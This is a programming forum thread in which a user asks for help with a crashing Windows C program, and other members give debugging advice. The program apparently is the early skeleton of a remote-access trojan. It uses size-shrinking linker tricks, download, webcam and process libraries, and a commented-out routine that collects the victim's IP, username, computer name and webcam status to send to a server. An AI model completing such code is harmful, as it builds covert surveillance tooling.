Thread: again :(

  1. #1
    Registered User
    Join Date
    Jan 2006
    Posts
    29

    again :(

    So here I am again with my C strings. This time something weird has been happenning. I have been working on that thing for a couple days at so far it worked fine... I have made my functions and my headers. everything worked perfect. I dont actually remember what I changed but since this morning this same piece of code I was really happy with stopped working totally. for some reason.... it just broke even my MessageBox doesnt work. It breaks BEFORE it.. which is only possible at the char * declaration... can someone help me fix?

    Code:
    #pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078 /FILEALIGN:0x200")
    #pragma comment(linker,"/OPT:NOWIN98 /STUB:stub.exe /INCREMENTAL:NO") 
    #pragma comment(linker,"/ENTRY:main /MERGE:.rdata=.text /MERGE:.data=.text") 
    
    
    
    #pragma comment(lib, "ws2_32.lib") //winsock 2
    #pragma comment(lib, "urlmon.lib") //urldownloadtofile
    #pragma comment(lib, "wininet.lib") //structs ftp
    #pragma comment(lib, "vfw32.lib") //webcam
    #pragma comment(lib, "msvcrt.lib") //i dont really know
    
    
    #include <winsock2.h> 
    #include <winsock.h>
    #include <tlhelp32.h> //process
    #include <windows.h>
    #include <stdlib.h> 
    
    #include "declares.h"
    #include "Mysocket.h"
    #include "MyWebCam.h"
    #include "debug.h"
    #include "system.h"
    
    
    
    
    int main (void)
    {
    
    char *auth= NULL;
    char *auth2=NULL;
    
    auth=malloc(1000);
    auth2=malloc(1000);
    
    
    
    
    /* Connection String
    
    CONNECTION IDENTIFIER
    LAN 
    ID
    USER
    COMPNAME
    CONNECTION
    CAM
    CPU
    */
    
    
    MessageBox(0,"bleh","Debug",MB_OK);
    //auth="test";
    //sprintf(auth,"%s;%s;%s;%s;%s;%s;%s;%s",OUT_INFO,GetLocalIP(),ID, GetUsername(), GetComputername(),Connection(), HasCam(), ProcSpeedRead());
    //sprintf(auth2,"%d\t%s",strlen(auth),auth);
    //debug(auth);
    
    
    
    //InitSocket();
    //InitiateConnection(auth2);
    
     return 0;
    }

  2. #2
    int x = *((int *) NULL); Cactus_Hugger's Avatar
    Join Date
    Jul 2003
    Location
    Banks of the River Styx
    Posts
    902
    Your code works for me (without the pragmas - I don't use MSVC). Is this crashing on runtime or causing compile time errors? (If the latter, what are the errors?)

    Try compiling that without the first block of pragma's at the top (comment them out), and see if it works. (I have no idea what those do.) Otherwise, the only real error is that you're not free()ing auth and auth2. (And if you uncomment auth="test";, you're also causing memory leaks.)

    (I also write HWND_DESKTOP when doing message boxes to the desktop, in favor of self-commenting code, though I think 0 should be fine.)
    long time; /* know C? */
    Unprecedented performance: Nothing ever ran this slow before.
    Any sufficiently advanced bug is indistinguishable from a feature.
    Real Programmers confuse Halloween and Christmas, because dec 25 == oct 31.
    The best way to accelerate an IBM is at 9.8 m/s/s.
    recursion (re - cur' - zhun) n. 1. (see recursion)

  3. #3
    Registered User
    Join Date
    Jan 2006
    Posts
    29
    program crashes at execution. i commented the pragmas. no result. i have some warnings but the pragmas are linker to reduce size (at least that's what ive read-copied). program compiles fine. and for the not freeing its not a big deal i guess.... it used to work before. not anymore. for some weird reason it was working fine before. the project isnt even 10% complete this is just the very very basic backbone. anyone with msvc want to give the code a try?
    If anyone wants to give it a shot i can post whole code as attachment or upload somewhere?

  4. #4
    Hurry Slowly vart's Avatar
    Join Date
    Oct 2006
    Location
    Rishon LeZion, Israel
    Posts
    6,788
    Successfully compiled and run in release and debug using VC6
    Code:
    #pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078 /FILEALIGN:0x200")
    //#pragma comment(linker,"/OPT:NOWIN98 /STUB:stub.exe /INCREMENTAL:NO") 
    #pragma comment(linker,"/ENTRY:main /MERGE:.rdata=.text /MERGE:.data=.text") 
    
    
    
    #pragma comment(lib, "ws2_32.lib") //winsock 2
    #pragma comment(lib, "urlmon.lib") //urldownloadtofile
    #pragma comment(lib, "wininet.lib") //structs ftp
    #pragma comment(lib, "vfw32.lib") //webcam
    #pragma comment(lib, "msvcrt.lib") //i dont really know
    
    
    #include <winsock2.h> 
    #include <winsock.h>
    #include <tlhelp32.h> //process
    #include <windows.h>
    #include <stdlib.h> 
    
    //#include "declares.h"
    //#include "Mysocket.h"
    //#include "MyWebCam.h"
    //#include "debug.h"
    //#include "system.h"
    
    
    
    
    int main (void)
    {
    
    char *auth= NULL;
    char *auth2=NULL;
    
    auth=malloc(1000);
    auth2=malloc(1000);
    
    
    
    
    /* Connection String
    
    CONNECTION IDENTIFIER
    LAN 
    ID
    USER
    COMPNAME
    CONNECTION
    CAM
    CPU
    */
    
    
    MessageBox(0,"bleh","Debug",MB_OK);
    //auth="test";
    //sprintf(auth,"%s;%s;%s;%s;%s;%s;%s;%s",OUT_INFO,GetLocalIP(),ID, GetUsername(), GetComputername(),Connection(), HasCam(), ProcSpeedRead());
    //sprintf(auth2,"%d\t%s",strlen(auth),auth);
    //debug(auth);
    
    
    
    //InitSocket();
    //InitiateConnection(auth2);
    
     return 0;
    }
    It seems to me you messed with linker options in your project
    All problems in computer science can be solved by another level of indirection,
    except for the problem of too many layers of indirection.
    – David J. Wheeler

  5. #5
    Registered User
    Join Date
    Jan 2006
    Posts
    29
    http://rapidshare.com/files/10041105/Server.zip

    i did not change ANYTHING in the settings of the program. and it used to work perfectly fine before here is a download link to the code with custom stub and everything. please feel free to criticize the code.

Popular pages Recent additions subscribe to a feed